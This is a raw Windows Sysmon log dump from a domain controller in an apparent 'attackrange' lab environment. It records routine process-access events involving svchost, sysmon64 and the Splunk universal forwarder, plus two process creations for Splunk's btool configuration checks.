09:11:44.852{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005175Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005174Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005173Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005172Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005171Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005170Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005169Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005168Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2950-5F80-1C01-000000007F01}1292C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005167Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005166Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-2950-5F80-1B01-000000007F01}48524316C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-2950-5F80-1C01-000000007F01}1292C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005165Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.856{A5F018FF-2950-5F80-1C01-000000007F01}1292C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-strptime --log-warningsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-2950-5F80-1B01-000000007F01}4852C:\Program Files\SplunkUniversalForwarder\bin\btool.exe"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warnings 10341000x80000000000000005164Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2950-5F80-1B01-000000007F01}4852C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005163Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005162Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005161Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005160Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005159Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005158Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005157Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005156Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.836{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005155Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.836{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005154Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.836{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2950-5F80-1B01-000000007F01}4852C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005153Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.836{A5F018FF-294F-5F80-1601-000000007F01}44924100C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-2950-5F80-1B01-000000007F01}4852C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4022c|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+403f8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+404c7|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+40fee|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+13671|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+18192|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005152Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.851{A5F018FF-2950-5F80-1B01-000000007F01}4852C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exe"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warningsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-294F-5F80-1601-000000007F01}4492C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 10341000x80000000000000005151Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.758{A5F018FF-2950-5F80-1A01-000000007F01}29522972C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005150Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2950-5F80-1A01-000000007F01}2952C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005149Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 